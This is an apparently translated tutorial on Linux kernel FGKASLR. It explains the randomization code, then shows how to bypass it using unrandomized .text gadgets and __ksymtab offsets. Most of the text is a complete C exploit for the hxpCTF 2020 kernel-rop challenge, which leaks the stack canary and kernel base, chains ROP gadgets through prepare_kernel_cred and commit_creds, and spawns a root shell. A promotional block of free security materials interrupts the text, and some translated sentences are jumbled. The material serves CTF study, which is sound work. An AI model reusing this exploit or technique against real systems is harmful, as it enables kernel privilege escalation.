FGKASLR
FGASLR (Function Granular KASLR) is an enhanced version of KASLR that adds finer-grained address randomization. Therefore, in the kernel with FGASLR enabled, even if the program base address of the kernel is leaked, any kernel function cannot be called.
layout_randomized_image
There are randomization details in the fgkaslr.c file .
/*
linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
...
shnum = ehdr->e_shnum; //获取节区的数量
shstrndx = ehdr->e_shstrndx; //获取字符串的索引
...
/* we are going to need to allocate space for the section headers */
sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
if (!sechdrs)
error("Failed to allocate space for shdrs");
sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
if (!sections)
error("Failed to allocate space for section pointers");
memcpy(sechdrs, output + ehdr->e_shoff,
sizeof(*sechdrs) * shnum); //拷贝头部数据
/* we need to allocate space for the section string table */
s = &sechdrs[shstrndx]; //获取节区名
secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
if (!secstrings)
error("Failed to allocate space for shstr");
memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称
/*
* now we need to walk through the section headers and collect the
* sizes of the .text sections to be randomized.
*/
for (i = 0; i < shnum; i++) {
//遍历节区,选择需要重定位的节区
s = &sechdrs[i];
sname = secstrings + s->sh_name;
if (s->sh_type == SHT_SYMTAB) {
//遇到符号节区跳过
/* only one symtab per image */
if (symtab)
error("Unexpected duplicate symtab");
symtab = malloc(s->sh_size);
if (!symtab)
error("Failed to allocate space for symtab");
memcpy(symtab, output + s->sh_offset, s->sh_size);
num_syms = s->sh_size / sizeof(*symtab);
continue;
}
...
if (!strcmp(sname, ".text")) {
//第一个.text的节区直接跳过
if (text)
error("Unexpected duplicate .text section");
text = s;
continue;
}
if (!strcmp(sname, ".data..percpu")) {
//遇到.data..precpu的节区也直接跳过
/* get start addr for later */
percpu = s;
continue;
}
if (!(s->sh_flags & SHF_ALLOC) ||
!(s->sh_flags & SHF_EXECINSTR) ||
!(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化
continue;
sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化
num_sections++;
}
sections[num_sections] = NULL;
sections_size = num_sections;
...
}
Through the above code analysis, we can see that
-
Symbol sections do not perform fine-grained address randomization
-
The first
.text
section does not perform fine-grained address randomization -
It needs to have both the flag bit
SHF_ALLOC
andSHF_EXECINSTR
the prefix of the section area.text
to be selected for fine-grained address randomization
It can be seen that layout_randomized_image
the function will still maintain the original section offset, but will find another space in the memory for storage, which leads to the fact that not all sections use the kernel program base address as the kernel program base address when the kernel enables FGKASLR protection. The base address is offset. If you want to call any kernel function, you need to find the base address of the section where the calling function is located, which makes the use more complicated.
Bypass of FGKASLR protection
To bypass FGKASLR, we can select unaffected nodes for gadget
chain ROP
construction.
The first is the section area that does not exist SHF_ALLOC
with the flag bitSHF_EXECINSTR
The second is .text
the section area, you can see 0x200000
the size of the section area, so you can choose 0xffffffff81000000 - 0xffffffff81000000 + 0x200000
, and the options gadget
are quite sufficient.
The above-mentioned section areas are not affected by FGKASLR protection. Only the base address of the kernel program needs to be leaked, and the vulnerability can be exploited according to the idea of bypassing KASLR.
To help you study cybersecurity, you can receive a full set of information for free:
① Mind map of cybersecurity learning and growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)
To return to user mode after completing privilege escalation in kernel mode, we need to callcommit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
Therefore, first check commit_creds
whether prepare_kernel_cred
the function meets the requirements. You can see that commit_creds
the address of the function is 0xffffffff814c6410
, prepare_kernel_cred
and the address of the function 0xffffffff814c67f0
is beyond .text
the section space (here I turned off KASLR).
You can run the environment several times, check the addresses of these two functions, and you will find that the offset of the end address will always change. (KASLR enabled)
cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
first
the second time
It can be seen that the address of the first run is completely different from that of the second run, but in the non-fine-grained section, ksymtab
only the middle nine bits (KASLR) have changed, and the rest are consistent. This is also the difference KASLR
with FGKASLR
. However, the actual utilization needs to use these two functions, so special methods are still required to leak the actual addresses of these two functions. (1) Ability to leak the existing base addresses of these two functions (2) Read addresses through the symbol table.
Here, the method (2) is used to leak the function address. ksymtab
The symbol table of the kernel function is stored in the section, and the following structure is used for maintenance.
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
value_offset
: the offset of the value of the kernel symbolname_offset
: the offset of the name of the kernel symbolnamespace_offset
: The offset or address in memory of the name of the namespace to which the kernel symbol belongs.
So value_offset
it is what we are concerned about. It should be noted here that the offset address here is based on the offset of the current address. Take ksymtab_commit_creds
as an example, ksymtab_commit_creds
the address value of 0xffffffffa8587d90
, the value stored at the address 0xffa17ef0
, the calculated result is 0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80
, the result is just commit_creds
the address value of the function, here is an explanation of why it is needed (2^32 - 0xffa17ef0)
, because value_offset
it is int
a type, 0xffa17ef0
but a negative number, so it needs to be converted before proceeding The subtraction is the actual value.
Then use the above method to find the address commit_creds
of prepare_kernel_cred
the function.
Then let’s look at how to get the address of swapgs
the and iretq
instruction. When I introduced how to bypass it , I kpti
introduced a special function swapgs_restore_regs_and_return_to_usermode
. In addition to cr3
converting the page table, it also has swapgs
the and iretq
instruction. Search the address of this function in the kernel, and you can find that it is within .text
the range of the section area, so this address can be used directly.
Therefore, the bypass FGKASLR
method comes out. First, leak the base address of the kernel program, obtain the address of and through the base address , __ksymtab_commit_creds
obtain __ksymtab_prepare_kernel_cred
the actual address of the function through the above two symbols, and finally return to the user mode through the function.commit_creds
prepare_kernel_cred
swapgs_restore_regs_and_return_to_usermode
hxpCTF 2020 kernel-rop
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
Here we still use the core questions of hxpCTF 2020 as an example
Project address: https://github.com/h0pe-ay/Kernel-Pwn
As mentioned before, there is a stack overflow vulnerability in the program, and it allows us to read the data on the kernel stack. By reading the data on the kernel stack, the values canary
and the base address of the program can be leaked. What needs special attention here is that when When enabled FGKASLR
, not all addresses can be used to calculate the base address, only .text
addresses within the range can be found, otherwise the kernel program base address cannot be calculated. Therefore, the address selected here 0xffffffff8100a157
is used as the leaked address.
Then after leaking the address canary
and address, we can use the stack overflow to complete the privilege escalation and return to the user state. In the previous use in the user state, we can use write
or puts
function to read the content in the address, but in the use of the kernel state. There is no need to be so troublesome. For example, the address can be __ksymtab_commit_creds
assigned to rax
the register first, and then mov rax,[rax]; ret
the instruction passed can complete the read operation of the specified address. gadget
Here I am using
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
First use pop rax; ret
the instruction to __ksymtab_commit_creds
assign the address of the function to rax
the register, and then use mov rax, qword ptr [rax];
the function to __ksymtab_commit_creds
read the content of the address into rax
the register, then the next step is how to extract rax
the register. You can use swapgs_restore_regs_and_return_to_usermode
the function to temporarily return to the user mode, and then use inline assembly to extract the value. It should be noted here that ROP
the chain needs to be separated from the inline assembly, otherwise rax
the register may be optimized by the compiler, that is, there will be rax
an operation to clear the register . And all the search gadget
must be selected from the section area that will not be fine-grained adjustment, otherwise the real address cannot be obtained.
...
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x\n", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx\n", commit_creds);
jmp_leak_prepare_kernel_cred();
}
...
After the call, the value of the register prepare_kernel_cred
needs to be passed to the register because it needs to be used as a parameter of the function. But after searching for a long time, there is no suitable one , so inline assembly is still used to read the value of the register and then pass it to the function. ** Special attention is required here, it is best not to use too many global variable storage, otherwise the variable values of user_cs, user_rflags, user_sp, and user_ss saved at the beginning will be overwritten. **Therefore, I specifically initialize these variables with specific values, so that these variables are stored in the segment to prevent them from being overwritten by other values.rax
rdi
commit_creds
.text
gadget
rax
commit_creds
payload
.data
Therefore, FGKASLR
the bypassing of the protection is actually to use FGKASLR
the characteristics, and only select the appropriate one in a specific area gadget
, so as to FGKASLR
weaken it KASLR
and continue to use it.
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff81006370: pop rdi; ret; -- [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/
//iretq RIP|CS|RFLAGS|SP|SS
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;
unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;
int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;
void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x\n", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx\n", commit_creds);
jmp_leak_prepare_kernel_cred();
}
void jmp_leak_prepare_kernel_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_prepare_kernel_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_prepare_kernel_cred()
{
__asm(
".intel_syntax noprefix;"
"mov prepare_kernel_cred_offset, rax;"
".att_syntax;"
);
printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);
prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);
printf("jmp get cred\n");
jmp_get_cred();
}
void jmp_get_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)get_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void get_cred()
{
__asm(
".intel_syntax noprefix;"
"mov cred, rax;"
".att_syntax;"
);
printf("cred:0x%lx\n", cred);
jmp_back_door();
}
void jmp_back_door()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = cred; //cred
payload[index++] = commit_creds; // commit_creds
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
int main()
{
save_state();
fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 40 * 8);
for(int i = 0; i < 40; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
canary = buf[2];
unsigned long leak_addr = buf[38];
printf("leak addr:0x%lx\n", leak_addr);
image_base = leak_addr - 0xa157;
printf("ImageBase:0x%lx\n", image_base);
start();
}